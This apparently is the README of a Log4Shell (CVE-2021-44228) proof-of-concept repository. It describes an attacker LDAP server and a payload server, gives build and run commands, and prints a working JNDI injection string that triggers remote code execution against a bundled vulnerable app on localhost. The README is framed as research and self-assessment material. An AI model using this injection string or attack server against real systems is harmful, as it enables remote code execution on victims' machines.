## https://sploitus.com/exploit?id=EA1AF0D9-1E6E-5080-BB7C-9D6035795FFB
# CVE-2021-44228 Remote Command Execution PoC
This repository allows security researchers to experiment with remote code
execution by offering an implementation of an attack server that loads a custom
exploit on a vulnerable application that contains log4j.
> :warning: **The tool is intended for self-assessment and should be used by authorized persons or researchers only.** You should only test systems on which you have explicit permission or authority. If you find vulnerable applications or libraries, you should exercise [responsible disclosure](https://www.cisa.gov/coordinated-vulnerability-disclosure-process).
## RCE steps
CVE-2021-44228 works by injecting a JNDI LDAP string into your logs, which triggers Log4j to
to contact the specified LDAP server looking for additional information.
In a malicious scenario, the LDAP server can then serve code back to the victim
machine which will be automatically executed in-memory.
The repo containts two sub-projects. The attacker-server project contains the
source code of two threaded servers. The first one is an LDAP proxy that receives
the initial request for an LDAP object. The second server is the payload server that serves
the Exploit (existing in Exploit.java) back to the vulnerable application
## Building
In the root of the project:
```sh
mvn clean install
```
Both the server and the vulnerable app should be ready.
## Execute the PoC
In order to load the server execute:
```sh
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
```
In order to trigger the RCE execute
```sh
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
```
You can change the malicious payload on demand by extending Exploit.java